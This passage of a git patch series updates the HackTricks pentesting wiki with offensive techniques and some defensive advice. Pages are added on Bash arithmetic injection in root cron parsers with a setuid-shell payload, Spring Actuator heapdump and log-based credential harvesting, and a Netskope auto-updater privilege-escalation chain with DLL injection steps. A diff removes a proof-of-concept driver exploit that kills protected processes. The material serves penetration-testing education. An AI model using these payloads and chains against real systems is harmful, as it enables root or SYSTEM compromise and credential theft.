+Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. ## ETW @@ -905,5 +872,6 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}} From 0d245aa5946eebf180532bbce9846337780b6601 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 18:32:29 +0000 Subject: [PATCH 06/13] Add content from: HTB Eureka: From Actuator HeapDump to SSH, credential captur... - Remove searchindex.js (auto-generated file) --- .../privilege-escalation/README.md | 37 ++++++++- .../pentesting-web/spring-actuators.md | 78 ++++++++++++++++++- 2 files changed, 113 insertions(+), 2 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 6c419ccb0..852a7619b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -416,6 +416,40 @@ Read the following page for more wildcard exploitation tricks: wildcards-spare-tricks.md {{#endref}} + +### Bash arithmetic expansion injection in cron log parsers + +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. + +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. + +- Typical vulnerable pattern: + ```bash + #!/bin/bash + # Example: parse a log and "sum" a count field coming from the log + while IFS=',' read -r ts user count rest; do + # count is untrusted if the log is attacker-controlled + (( total += count )) # or: let "n=$count" + done < /var/www/app/log/application.log + ``` + +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. + ```bash + # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): + $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 + # When the root cron parser evaluates (( total += count )), your command runs as root. + ``` + +- Preconditions: + - You can cause a line you control to be written into the log consumed by the root script. + - The script evaluates an untrusted variable inside ((...)), $((...)) or let. + +- Mitigations (for defenders): + - Never use arithmetic evaluation on untrusted strings. Validate first: `[[ $count =~ ^[0-9]+$ ]] || continue`. + - Prefer integer-safe parsing with awk or mapfile and explicit regex checks. + - Run log parsers as least-privileged users; never as root unless strictly necessary. + + ### Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: @@ -1682,6 +1716,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 1c02371ee..5a59413b6 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -68,4 +68,80 @@ Connection: close -{{#include ../../banners/hacktricks-training.md}} +## HeapDump secrets mining (credentials, tokens, internal URLs) + +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). + +- Download and quick triage: + ```bash + wget http://target/actuator/heapdump -O heapdump + # Quick wins: look for HTTP auth and JDBC + strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' + # Decode any Basic credentials you find + printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d + ``` + +- Deeper analysis with VisualVM and OQL: + - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets: + ``` + select s.toString() + from java.lang.String s + where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) + ``` + +- Automated extraction with JDumpSpider: + ```bash + java -jar JDumpSpider-*.jar heapdump + ``` + Typical high-value findings: + - Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`. + - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). + - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. + +Tips: +- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed. +- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly. + + +## Abusing Actuator loggers/logging to capture credentials + +If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters). + +- Enumerate and crank up sensitive loggers: + ```bash + # List available loggers + curl -s http://target/actuator/loggers | jq . + + # Enable very verbose logs for security/web stacks (adjust as needed) + curl -s -X POST http://target/actuator/loggers/org.springframework.security \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + curl -s -X POST http://target/actuator/loggers/org.springframework.web \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + ``` + +- Find where logs are written and harvest: + ```bash + # If exposed, read from Actuator directly + curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + + # Otherwise, query env/config to locate file path + curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' + ``` + +- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose. + +Notes: +- Reset log levels when done: `POST /actuator/loggers/` with `{ "configuredLevel": null }`. +- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file From 1ce7ec633524e319489675eb48f534154e255971 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 18:44:42 +0000 Subject: [PATCH 07/13] =?UTF-8?q?Add=20content=20from:=20Advisory=20?= =?UTF-8?q?=E2=80=93=20Netskope=20Client=20for=20Windows=20=E2=80=93=20Loc?= =?UTF-8?q?al=20Privilege=20Esc...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 1 + .../README.md | 9 ++ .../abusing-auto-updaters-and-ipc.md | 125 ++++++++++++++++++ 4 files changed, 136 insertions(+) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..ace2dc874 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 241add641..0d8b9df77 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -15,6 +15,7 @@ - [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e4b6606db..844424a5a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -228,6 +228,15 @@ Basically, this is the flaw that this bug exploits: You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: + + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} + ## KrbRelayUp A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..7d3fb9a39 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,125 @@ +# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs. + +Key ideas you can reuse against similar products: +- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server. +- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package. +- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties. +- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry. +- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch. + +--- +## 1) Forcing enrollment to an attacker server via localhost IPC + +Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON. + +Observed in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required. +2) Send the IPC message invoking the provisioning command with your JWT and tenant name: + +```json +{ + "148": { + "idpTokenValue": "", + "tenantName": "TestOrg" + } +} +``` + +3) The service starts hitting your rogue server for enrollment/config, e.g.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence: + +1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: +```json +{ + "clientUpdate": { "updateIntervalInMin": 1 }, + "check_msi_digest": false +} +``` +2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store. +3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI. +- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install. +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation. + +Result: the SYSTEM service installs your MSI from +C:\ProgramData\Netskope\stAgent\data\*.msi +executing arbitrary code as NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe). + +Two practical bypasses: +- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it. +- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes: +- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +A reliable user‑mode loader that respects these constraints: +1) CreateProcess of a vendor binary with CREATE_SUSPENDED. +2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP). +3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back. +4) ResumeThread to trigger your stub in‑process, loading your DLL. + +Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary. + +--- +## 7) Detection opportunities (blue team) +- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well. +- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\\\data\*.msi. +- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148. +- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees. + +--- +## Hardening tips for vendors +- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode. +- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks. +- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels. +- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}} From 49a225667c5807a866d61c0a3a33d2005c3d398c Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 1 Sep 2025 12:42:31 +0000 Subject: [PATCH 08/13] Add content from: SSLPinDetect: Advanced SSL Pinning Detection for Android Sec... - Remove searchindex.js (auto-generated file) --- .../android-app-pentesting/README.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 84b3620cf..e16a92d1b 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +#### Static detection of SSL/TLS pinning + +Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths. + +Tool: SSLPinDetect +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. + +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool + +```bash +git clone https://github.com/aancw/SSLPinDetect +cd SSLPinDetect +pip install -r requirements.txt +``` + +Usage +```bash +# Basic +python sslpindetect.py -f app.apk -a apktool.jar + +# Verbose (timings + per-match path:line + snippet) +python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v +``` + +Example pattern rules (JSON) +Use or extend signatures to detect proprietary/custom pinning styles. You can load your own JSON and scan at scale. + +```json +{ + "OkHttp Certificate Pinning": [ + "Lcom/squareup/okhttp/CertificatePinner;", + "Lokhttp3/CertificatePinner;", + "setCertificatePinner" + ], + "TrustManager Override": [ + "Ljavax/net/ssl/X509TrustManager;", + "checkServerTrusted" + ] +} +``` + +Notes and tips +- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives. +- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +- Typical detection targets to triage next: + - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references + - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides + - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers + - Declarative pins in res/xml network security config and manifest references +- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing. + + + #### Bypassing SSL Pinning When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose: @@ -799,6 +855,9 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) +- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) +- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) ## Yet to try From 520e7ee968acf7a4329d7a15d6acf750a9997e7a Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:32:48 +0200 Subject: [PATCH 09/13] Update Kerberos Authentication documentation --- .../kerberos-authentication.md | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 08c88672e..f33d267fe 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,19 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Kerberos is time-sensitive. A typical default clock skew tolerance is 5 minutes. If your attacking host clock drifts beyond this window, pre-auth and service requests will fail with KRB_AP_ERR_SKEW or similar errors. Always sync your time with the DC before Kerberos operations: +**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) -```bash -sudo ntpdate -``` - -For a deep dive on protocol flow and abuse: - -**Check the amazing post from:** [https://www.tarlogic.com/en/blog/how-kerberos-works/](https://www.tarlogic.com/en/blog/how-kerberos-works/) - -## References - -- [How Kerberos Works – Tarlogic](https://www.tarlogic.com/en/blog/how-kerberos-works/) -- [HTB Sendai – 0xdf (operational notes on clock skew)](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) - -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} From dabfe5a003c3dd51e6594631da8f9af7a4d0b1bb Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:36:33 +0200 Subject: [PATCH 10/13] Update av-bypass.md --- src/windows-hardening/av-bypass.md | 59 +----------------------------- 1 file changed, 1 insertion(+), 58 deletions(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 2ed98ccac..6870d7aec 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -715,64 +715,7 @@ Detection / Mitigation • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. -### Silver Fox BYOVD: WatchDog amsdk.sys/wamsdk.sys (Zemana SDK) on Win10/11 - -A real-world APT campaign (“Silver Fox”) abused a signed but vulnerable antimalware driver to reliably kill EDR/AV (including PP/PPL) and sometimes elevate privileges on fully patched Windows 10/11. - -Key points -- Driver: WatchDog Anti‑Malware amsdk.sys v1.0.600 (Microsoft-signed). Internals show Zemana SDK reuse (PDB path: zam64.pdb). Loadable on modern Windows where blocklists didn’t yet include it. -- Legacy path: Older variants used ZAM.exe (legacy Zemana) on Win7-era systems. -- Post-patch: Vendor released wamsdk.sys v1.1.100. It fixed LPE by tightening device security but still allowed arbitrary termination of processes, including PP/PPL. - -Root cause (amsdk.sys v1.0.600) -- The device object is created via IoCreateDeviceSecure with a strong SDDL: D:P(A;;GA;;;SY)(A;;GA;;;BA) but DeviceCharacteristics omits FILE_DEVICE_SECURE_OPEN. -- Without FILE_DEVICE_SECURE_OPEN, the secure DACL does not protect opens via the device namespace. Any user can open a handle by using a path with an extra component such as \\ .\\amsdk\\anyfile. Windows resolves it to the device object and returns a handle, bypassing the intended ACL. - -Powerful IOCTLs exposed -- 0x80002010 – IOCTL_REGISTER_PROCESS: Register the caller. -- 0x80002048 – IOCTL_TERMINATE_PROCESS: Terminates arbitrary PIDs, including PP/PPL (the driver only avoids critical system PIDs to prevent bugchecks). -- 0x8000204C – IOCTL_OPEN_PROCESS: Returns full-access handles to target processes (LPE/token‑theft pivot). -- 0x80002014 / 0x80002018 – Raw disk read/write (stealth tampering possible). - -Minimal PoC to terminate PP/PPL via user mode -```c -#define IOCTL_REGISTER_PROCESS 0x80002010 -#define IOCTL_TERMINATE_PROCESS 0x80002048 - -int main() { - DWORD pidRegister = GetCurrentProcessId(); - DWORD pidTerminate = /* target PID */; - HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); - DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &pidRegister, sizeof(pidRegister), 0, 0, 0, 0); - DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &pidTerminate, sizeof(pidTerminate), 0, 0, 0, 0); - return 0; -} -``` - -Local privilege escalation pivot -- Because any user can open the device, IOCTL_OPEN_PROCESS can hand out full-access handles to privileged processes. From there you can DuplicateTokenEx/CreateProcessAsUser to jump to SYSTEM. Raw disk I/O IOCTLs can also be abused for stealthy boot/config tampering. - -Patch and adversary response -- Fix guidance: set FILE_DEVICE_SECURE_OPEN at device creation and add PP/PPL checks to block protected process termination. -- Vendor patch (wamsdk.sys v1.1.100): Enforced secure opens (closing the LPE) but still allowed arbitrary termination (no PP/PPL level checks). -- Signature evasion: Actors flipped a single byte in the unauthenticated RFC 3161 countersignature inside the WIN_CERTIFICATE. Result: the Microsoft Authenticode chain remains valid, but the file’s SHA‑256 changes, defeating hash‑based driver blocklists. - -Operational tradecraft observed (loader) -- Single EXE bundles the vulnerable driver(s) and a downloader module. On modern OS, amsdk.sys loads; on legacy OS, ZAM.exe path is used. The loader persists via services (e.g., Amsdk_Service kernel driver; a misspelled Termaintor service) and drops under C:\\Program Files\\RunTime. -- EDR killer logic: open amsdk device; for each process name in a Base64 list (~192 entries), issue IOCTL_REGISTER_PROCESS → IOCTL_TERMINATE_PROCESS. - -Detection ideas -- Monitor creation/start of kernel driver services backed by unusual paths and registry-driven NtLoadDriver flows creating Amsdk_Service; look for user-mode opens of \\.\\amsdk* followed by DeviceIoControl 0x80002010 → 0x80002048. -- Hunt for the suspicious service name "Termaintor" and drops under C:\\Program Files\\RunTime. -- Keep Microsoft’s vulnerable-driver blocklist current and augment with allow/deny lists (WDAC/HVCI/Smart App Control). Track use of new hashes on known signed binaries to catch countersignature tampering. - -References and tooling -- LOLDrivers: https://github.com/magicsword-io/LOLDrivers -- Microsoft Vulnerable Driver Blocklist: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules -- Terminator (Zemana BYOVD PoC): https://github.com/ZeroMemoryEx/Terminator -- CPR writeup with IOCTLs/PoCs/IOCs: https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/ - - +### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: From 49140b3fe334d6922a189a833405578380f02799 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:36:57 +0200 Subject: [PATCH 11/13] Update av-bypass.md --- src/windows-hardening/av-bypass.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 6870d7aec..70f6e05c5 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -840,10 +840,4 @@ References for PPL and tooling - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) -- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) -- [LOLDrivers](https://github.com/magicsword-io/LOLDrivers) -- [Microsoft – Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) -- [Terminator – Zemana BYOVD PoC](https://github.com/ZeroMemoryEx/Terminator) -- [Watchdog Anti‑Malware (product page)](https://watchdog.com/solutions/anti-malware/) - 